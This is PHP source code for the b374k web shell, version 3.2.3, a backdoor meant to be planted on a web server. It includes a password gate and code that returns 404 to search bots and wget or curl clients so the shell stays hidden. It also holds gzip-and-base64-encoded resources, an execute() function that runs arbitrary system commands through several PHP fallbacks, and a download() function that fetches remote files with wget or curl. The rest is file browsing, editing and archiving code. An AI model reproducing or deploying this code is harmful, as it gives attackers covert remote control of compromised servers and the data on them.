```php
<?php
/*
        b374k shell 3.2.3
        Jayalah Indonesiaku
        (c)2014
        https://github.com/b374k/b374k

*/
$GLOBALS['pass'] = "90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad"; // sha1(md5(pass))
$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "
info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8
yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV
9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmk
D/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJ
YFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDb
uDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDe
ED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTc
l+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOI
CeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1X
YL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7z
dIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGz
DTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIve
F8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4B
u3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcj
LNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DW
ELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F
5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7
MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxD
tUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzt
o2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3w
jk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjE
hlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVSsuPOx1BHp45oUp
ElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";
$GLOBALS['resources']['mime'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmU
kwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh4
7Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gm
Bimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAX
IaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZT
TNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFE
LRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1w
jh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4
RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
$GLOBALS['resources']['arrow'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23G
VJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rx
wYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTg
D+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsd
vSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7ex
zAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhEN
zgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK
/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4
/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH9
2jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cV
YW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jVVBb3QaAFPrxU3v6VD7DsFp
OCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxM
EzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzI
HEuXxVYD3J+qt9oQ4PJQsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6
SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOK
EbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53Taso
gwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXes
slvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4
pvoIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";


@ob_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
```

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@ini_set('display_startup_errors','1');
@ini_set('log_errors','0');
@set_time_limit(0);
@clearstatcache();

if(!function_exists('auth')){
        function auth(){
                if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
                        $c = $_COOKIE;
                        $p = $_POST;
                        if(isset($p['pass'])){
                                $your_pass = sha1(md5($p['pass']));
                                if($your_pass==$GLOBALS['pass']){
                                        setcookie("pass", $your_pass, time()+36000, "/");
                                        header("Location: ".get_self());
                                }
                        }

                        if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS
['pass'])))){
                                $res = "<!doctype html>
                <html>
                <head>
                <meta charset='utf-8'>
                <meta name='robots' content='noindex, nofollow, noarchive'>
                <meta name='viewport' content='width=device-width, initial-scale=1.0, maxim
um-scale=1.0, user-scalable=no, user-scalable=0'>
                </head>
                <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><
center><noscript>You need to enable javascript</noscript></center></p>
                <script type='text/javascript'>
                var d = document;
                d.write(\"<br><br><form method='post'><center><input type='password' id='pa
ss' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#
ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></fo
rm>\");
                d.getElementById('pass').focus();
                d.getElementById('pass').setAttribute('autocomplete', 'off');
                </script>
                </body></html>
                ";
                                echo $res;
                                die();
                        }
                }
        }
}

if(!function_exists('get_server_info')){
        function get_server_info(){
                $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SE
RVER["HTTP_HOST"];
                $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='str
ong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
                $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server
 : ".@date("d M Y H:i:s",time());
                $server_info['uname'] = php_uname();
                $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE
')." <span class='strong'>|</span> ":'';
                $server_info['software'] = $server_software."  PHP ".phpversion();

                return $server_info;
        }
}

if(!function_exists('get_self')){
        function get_self(){
                $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"]
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)))?"?".$_SERVER["QUERY_STRING"]:"";
                return html_safe($_SERVER["REQUEST_URI"].$query);
        }
}

if(!function_exists('get_post')){
        function get_post(){
                return fix_magic_quote($_POST);
        }
}

if(!function_exists('get_nav')){
        function get_nav($path){
                return parse_dir($path);
        }
}

if(!function_exists('get_cwd')){
        function get_cwd(){
                $cwd = getcwd().DIRECTORY_SEPARATOR;
                if(!isset($_COOKIE['cwd'])){
                        setcookie("cwd", $cwd);
                }
                else{
                        $cwd_c = rawurldecode($_COOKIE['cwd']);
                        if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
                        else setcookie("cwd", $cwd);
                }
                return $cwd;
        }
}

if(!function_exists('wrap_with_quotes')){
        function wrap_with_quotes($str){
                return "\"".$str."\"";
        }
}

if(!function_exists('get_resource')){
        function get_resource($type){
                if(isset($GLOBALS['resources'][$type])){
                        return gzinflate(base64_decode($GLOBALS['resources'][$type]));
                }
                return false;
        }
}

if(!function_exists('block_bot')){
        function block_bot(){
                // block search engine bot
                if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|s
lurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_
USER_AGENT']))){
                        header("HTTP/1.0 404 Not Found");
                        header("Status: 404 Not Found");
                        die();
                }
                elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
                        header("HTTP/1.0 404 Not Found");
                        header("Status: 404 Not Found");
                        die();
                }
        }
}

if(!function_exists('is_win')){
        function is_win(){
                return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
```

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        }
}

if(!function_exists('fix_magic_quote')){
        function fix_magic_quote($arr){
                $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
                if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
                        if(is_array($arr)){
                                foreach($arr as $k=>$v){
                                        if(is_array($v)) $arr[$k] = clean($v);
                                        else $arr[$k] = (empty($quotes_sybase) || $quotes_s
ybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
                                }
                        }
                }
                return $arr;
        }
}

if(!function_exists('execute')){
        function execute($code){
                $output = "";
                $code = $code." 2>&1";

                if(is_callable('system') && function_exists('system')){
                        ob_start();
                        @system($code);
                        $output = ob_get_contents();
                        ob_end_clean();
                        if(!empty($output)) return $output;
                }
                elseif(is_callable('shell_exec') && function_exists('shell_exec')){
                        $output = @shell_exec($code);
                        if(!empty($output)) return $output;
                }
                elseif(is_callable('exec') && function_exists('exec')){
                        @exec($code,$res);
                        if(!empty($res)) foreach($res as $line) $output .= $line;
                        if(!empty($output)) return $output;
                }
                elseif(is_callable('passthru') && function_exists('passthru')){
                        ob_start();
                        @passthru($code);
                        $output = ob_get_contents();
                        ob_end_clean();
                        if(!empty($output)) return $output;
                }
                elseif(is_callable('proc_open') && function_exists('proc_open')){
                        $desc = array(
                                0 => array("pipe", "r"),
                                1 => array("pipe", "w"),
                                2 => array("pipe", "w"));
                        $proc = @proc_open($code, $desc, $pipes, getcwd(), array());
                        if(is_resource($proc)){
                                while($res = fgets($pipes[1])){
                                        if(!empty($res)) $output .= $res;
                                }
                                while($res = fgets($pipes[2])){
                                        if(!empty($res)) $output .= $res;
                                }
                        }
                        @proc_close($proc);
                        if(!empty($output)) return $output;
                }
                elseif(is_callable('popen') && function_exists('popen')){
                        $res = @popen($code, 'r');
                        if($res){
                                while(!feof($res)){
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                                                $output .= fread($res, 2096);
                                        }
                                        pclose($res);
                                }
                                if(!empty($output)) return $output;
                        }
                        return "";
                }
        }


        if(!function_exists('html_safe')){
                function html_safe($str){
                        return htmlspecialchars($str, 2 | 1);
                }
        }

        if(!function_exists('parse_dir')){
                function parse_dir($path){
                        $path = realpath($path).DIRECTORY_SEPARATOR;
                        $paths = explode(DIRECTORY_SEPARATOR, $path);
                        $res = "";
                        for($i = 0; $i < sizeof($paths)-1; $i++){
                                $x = "";
                                for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
                                $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_saf
e($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
                        }
                        if(is_win()) $res = get_drives().$res;
                        return trim($res);
                }
        }

        if(!function_exists('zip')){
                function zip($files, $archive){
                        $status = false;
                        if(!extension_loaded('zip')) return $status;
                        if(class_exists("ZipArchive")){
                                $zip = new ZipArchive();
                                if(!$zip->open($archive, 1)) return $status;

                                if(!is_array($files)) $files = array($files);
                                foreach($files as $file){
                                        $file = str_replace(get_cwd(), '', $file);
                                        $file = str_replace('\\', '/', $file);
                                        if(is_dir($file)){
                                                $filesIterator = new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($file), 1);
                                                foreach($filesIterator as $iterator){
                                                        $iterator = str_replace('\\', '/', $iterato
r);
                                                        if(in_array(substr($iterator, strrpos($iter
ator, '/')+1), array('.', '..'))) continue;

                                                        if(is_dir($iterator)) $zip->addEmptyDir(str
_replace($file.'/', '', $iterator.'/'));
                                                        else if(is_file($iterator)) $zip->addFromSt
ring(str_replace($file.'/', '', $iterator), read_file($iterator));
                                                }
                                        }
                                        elseif(is_file($file)) $zip->addFromString(basename($file),
 read_file($file));
                                }
                                if($zip->getStatusString()!==false) $status = true;
                                $zip->close();
                        }
                        return $status;
                }
        }
```

```php
if(!function_exists('compress')){
        function compress($type, $archive, $files){
                if(!is_array($files)) $files = array($files);
                if($type=='zip'){
                        if(zip($files, $archive)) return true;
                        else return false;
                }
                elseif(($type=='tar')||($type=='targz')){
                        $archive = basename($archive);

                        $listsBasename = array_map("basename", $files);
                        $lists = array_map("wrap_with_quotes", $listsBasename);

                        if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $l
ists));
                        elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(
" ", $lists));

                        if(is_file($archive)) return true;
                        else return false;
                }
                return false;
        }
}

if(!function_exists('decompress')){
        function decompress($type, $archive, $path){
                $path = realpath($path).DIRECTORY_SEPARATOR;
                $status = false;
                if(is_dir($path)){
                        chdir($path);
                        if($type=='unzip'){
                                if(class_exists('ZipArchive')){
                                        $zip = new ZipArchive();
                                        $target = $path.basename($archive,".zip");
                                        if($zip->open($archive)){
                                                if(!is_dir($target)) mkdir($target);
                                                if($zip->extractTo($target)) $status = true
;
                                                $zip->close();
                                        }
                                }
                        }
                        elseif($type=='untar'){
                                $target = basename($archive,".tar");
                                if(!is_dir($target)) mkdir($target);
                                $before = count(get_all_files($target));
                                execute("tar xf \"".basename($archive)."\" -C \"".$target."
\"");

                                $after = count(get_all_files($target));
                                if($before!=$after) $status = true;

                        }
                        elseif($type=='untargz'){
                                $target = "";
                                if(strpos(strtolower($archive), ".tar.gz")!==false) $target
 = basename($archive,".tar.gz");
                                elseif(strpos(strtolower($archive), ".tgz")!==false) $targe
t = basename($archive,".tgz");

                                if(!is_dir($target)) mkdir($target);
                                $before = count(get_all_files($target));
                                execute("tar xzf \"".basename($archive)."\" -C \"".$target.
"\"");

                                $after = count(get_all_files($target));
                                if($before!=$after) $status = true;
                        }
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                }
                return $status;
        }
}

if(!function_exists('download')){
        function download($url ,$saveas){
                if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
                $filename = basename($url);

                if($content = read_file($url)){
                        if(is_file($saveas)) unlink($saveas);
                        if(write_file($saveas, $content)){
                                return true;
                        }
                }

                $buff = execute("wget ".$url." -O ".$saveas);
                if(is_file($saveas)) return true;

                $buff = execute("curl ".$url." -o ".$saveas);
                if(is_file($saveas)) return true;

                $buff = execute("lwp-download ".$url." ".$saveas);
                if(is_file($saveas)) return true;

                $buff = execute("lynx -source ".$url." > ".$saveas);
                if(is_file($saveas)) return true;

                return false;
        }
}

if(!function_exists('get_fileperms')){
        function get_fileperms($file){
                if($perms = @fileperms($file)){
                $flag = 'u';
                if(($perms & 0xC000) == 0xC000)$flag = 's';
                elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
                elseif(($perms & 0x8000) == 0x8000)$flag = '-';
                elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
                elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
                elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
                elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
                $flag .= ($perms & 00400)? 'r':'-';
                $flag .= ($perms & 00200)? 'w':'-';
                $flag .= ($perms & 00100)? 'x':'-';
                $flag .= ($perms & 00040)? 'r':'-';
                $flag .= ($perms & 00020)? 'w':'-';
                $flag .= ($perms & 00010)? 'x':'-';
                $flag .= ($perms & 00004)? 'r':'-';
                $flag .= ($perms & 00002)? 'w':'-';
                $flag .= ($perms & 00001)? 'x':'-';
                return $flag;
                }
                else return "???????????";
        }
}

if(!function_exists('format_bit')){
        function format_bit($size){
                $base = log($size) / log(1024);
                $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
                return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]
;
        }
}
```

```php
if(!function_exists('get_filesize')){
        function get_filesize($file){
                $size = @filesize($file);
                if($size!==false){
                        if($size<=0) return 0;
                        return format_bit($size);
                }
                else return "???";
        }
}

if(!function_exists('get_filemtime')){
        function get_filemtime($file){
                return @date("d-M-Y H:i:s", filemtime($file));
        }
}

if(!function_exists('get_fileowner')){
        function get_fileowner($file){
                $owner = "?:?";
                if(function_exists("posix_getpwuid")){
                        $name = posix_getpwuid(fileowner($file));
                        $group = posix_getgrgid(filegroup($file));
                        $owner = $name['name'].":".$group['name'];
                }
                return $owner;
        }
}

if(!function_exists('rmdirs')){
        function rmdirs($dir, $counter = 0){
                if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
                if($dh = opendir($dir)){
                        while(($f = readdir($dh))!==false){
                                if(($f!='.')&&($f!='..')){
                                        $f = $dir.$f;
                                        if(@is_dir($f)) $counter += rmdirs($f);
                                        else{
                                                if(unlink($f)) $counter++;
                                        }
                                }
                        }
                        closedir($dh);
                        if(rmdir($dir)) $counter++;;
                }
                return $counter;
        }
}

if(!function_exists('copys')){
        function copys($source , $target ,$c=0){
                $source = realpath($source).DIRECTORY_SEPARATOR;
                if($dh = opendir($source)){
                        if(!is_dir($target)) mkdir($target);
                        $target = realpath($target).DIRECTORY_SEPARATOR;

                        while(($f = readdir($dh))!==false){
                                if(($f!='.')&&($f!='..')){
                                        if(is_dir($source.$f)){
                                                copys($source.$f, $target.$f, $c);
                                        }
                                        else{
                                                if(copy($source.$f, $target.$f)) $c++;
                                        }
                                }
                        }
                        closedir($dh);
                }
```

```php
                return $c;
        }
}

if(!function_exists('get_all_files')){
        function get_all_files($path){
                $path = realpath($path).DIRECTORY_SEPARATOR;
                $files = glob($path.'*');
                for($i = 0; $i<count($files); $i++){
                        if(is_dir($files[$i])){
                                $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
                                if(is_array($files) && is_array($subdir)) $files = array_me
rge($files, $subdir);
                        }
                }
                return $files;
        }
}

if(!function_exists('read_file')){
        function read_file($file){
                $content = false;
                if($fh = @fopen($file, "rb")){
                        $content = "";
                        while(!feof($fh)){
                          $content .= fread($fh, 8192);
                        }
                }
                return $content;
        }
}

if(!function_exists('write_file')){
        function write_file($file, $content){
                if($fh = @fopen($file, "wb")){
                        if(fwrite($fh, $content)!==false) return true;
                }
                return false;
        }
}

if(!function_exists('view_file')){
        function view_file($file, $type, $preserveTimestamp='true'){
                $output = "";
                if(is_file($file)){
                        $dir = dirname($file);

                        $owner = "";
                        if(!is_win()){
                                $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</t
d></tr>";
                        }

                        $image_info = @getimagesize($file);
                        $mime_list = get_resource('mime');
                        $mime = "";
                        $file_ext_pos = strrpos($file, ".");
                        if($file_ext_pos!==false){
                                $file_ext = trim(substr($file, $file_ext_pos),".");
                                if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_l
ist, $res)){
                                        $mime = $res[1];
                                }
                        }
                        if($type=="auto"){
                                if(is_array($image_info)) $type = 'image';
                                //elseif(strtolower(substr($file,-3,3)) == "php") $type = "
code";
```

```php
                                        elseif(!empty($mime)) $type = "multimedia";
                                        else $type = "raw";
                        }

                        $content = "";
                        if($type=="code"){
                                $hl_arr = array(
                                                        "hl_default"=> ini_get('highlight.d
efault'),
                                                        "hl_keyword"=> ini_get('highlight.k
eyword'),
                                                        "hl_string"=> ini_get('highlight.st
ring'),
                                                        "hl_html"=> ini_get('highlight.html
'),
                                                        "hl_comment"=> ini_get('highlight.c
omment')
                                                        );

                                $content = highlight_string(read_file($file),true);
                                foreach($hl_arr as $k=>$v){
                                        $content = str_replace("<font color=\"".$v."\">", "
<font class='".$k."'>", $content);
                                        $content = str_replace("<span style=\"color: ".$v."
\">", "<span class='".$k."'>", $content);
                                }
                        }
                        elseif($type=="image"){
                                $width = (int) $image_info[0];
                                $height = (int) $image_info[1];
                                $image_info_h = "Image type = <span class='strong'>(</span>
 ".$image_info['mime']." <span class='strong'>)</span><br>
                                        Image Size = <span class='strong'>( </span>".$width
." x ".$height."<span class='strong'> )</span><br>";
                                if($width > 800){
                                        $width = 800;
                                        $imglink = "<p><a id='viewFullsize'>
                                        <span class='strong'>[ </span>View Full Size<span c
lass='strong'> ]</span></a></p>";
                                }
                                else $imglink = "";

                                $content = "<center>".$image_info_h."<br>".$imglink."
                                        <img id='viewImage' style='width:".$width."px;' src
='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'>
</center>
        ";

                        }
                        elseif($type=="multimedia"){
                                $content = "<center>
                                                <video controls>
                                                <source src='' type='".$mime."'>

                                                </video>
                                                <p><span class='button' onclick=\"m
ultimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
                                                </center>";
                        }
                        elseif($type=="edit"){
                                $preservecbox = ($preserveTimestamp=='true')? " cBoxSelecte
d":"";

                                $content = "<table id='editTbl'><tr><td colspan='2'><input
type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap
_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onc
lick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cB
ox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult
```

```
'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydow
n=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</texta
rea></td></tr></table>";
                        }
                        elseif($type=="hex"){
                                $preservecbox = ($preserveTimestamp=='true')? " cBoxSelecte
d":"";

                                $content = "<table id='editTbl'><tr><td colspan='2'><input
type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap
_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onc
lick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cB
ox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexRes
ult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkey
down=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</text
area></td></tr></table>";
                        }
                        else $content = "<pre>".html_safe(read_file($file))."</pre>";


                        $output .= "
        <table id='viewFile' class='boxtbl'>
        <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
        <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
        ".$owner."
        <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
        <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
        <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
        <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
        <tr data-path='".html_safe($file)."'><td colspan='2'>
        <span class='navigate button' style='width:120px;'>explorer</span>
        <span class='action button' style='width:120px;'>action</span>
        <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($f
ile))."', 'raw');hide_box();\">raw</span>
        <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($f
ile))."', 'code');hide_box();\">code</span>
        <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($f
ile))."', 'hex');hide_box();\">hex</span>
        <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($f
ile))."', 'image');hide_box();\">image</span>
        <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($f
ile))."', 'multimedia');hide_box();\">multimedia</span>
        </td></tr>
        <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
        </table>";


                }
                else $output = "error";
                return $output;
        }
}

if(!function_exists('get_writabledir')){
        function get_writabledir(){
                if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
                else{
                        foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
                                if(!empty($_ENV[$k])){
                                        if(is_writable($_ENV[$k])) return realpath($_ENV[$k
]).DIRECTORY_SEPARATOR;
                                }
                        }
                        if(function_exists("sys_get_temp_dir")){
                                $dir = sys_get_temp_dir();
                                if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPAR
ATOR;
                        }
```

```php
                                else{
                                        if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
                                }

                                $tempfile = tempnam(__FILE__,'');
                                if(file_exists($tempfile)){
                                        $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
                                        unlink($tempfile);
                                        return $dir;
                                }
                        }
                }
                return false;
        }
}

if(!function_exists('get_drives')){
        function get_drives(){
                $drives = "";
                $v = explode("\\", get_cwd());
                $v = $v[0];
                foreach (range("A", "Z") as $letter){
                        if(@is_readable($letter.":\\")){
                                $drives .= "<a class='navbar' data-path='".$letter.":\\'>[
";
                                if($letter.":" != $v) $drives .= $letter;
                                else{$drives .= "<span class='drive-letter'>".$letter."</sp
an>";}
                                $drives .= " ]</a> ";
                        }
                }
                return $drives;
        }
}

if(!function_exists('show_all_files')){
        function show_all_files($path){
                if(!is_dir($path)) return "No such directory : ".$path;
                chdir($path);
                $output = "";
                $allfiles = $allfolders = array();
                if($res = opendir($path)){
                        while($file = readdir($res)){
                                if(($file!='.')&&($file!="..")){
                                        if(is_dir($file)) $allfolders[] = $file;
                                        elseif(is_file($file))$allfiles[] = $file;
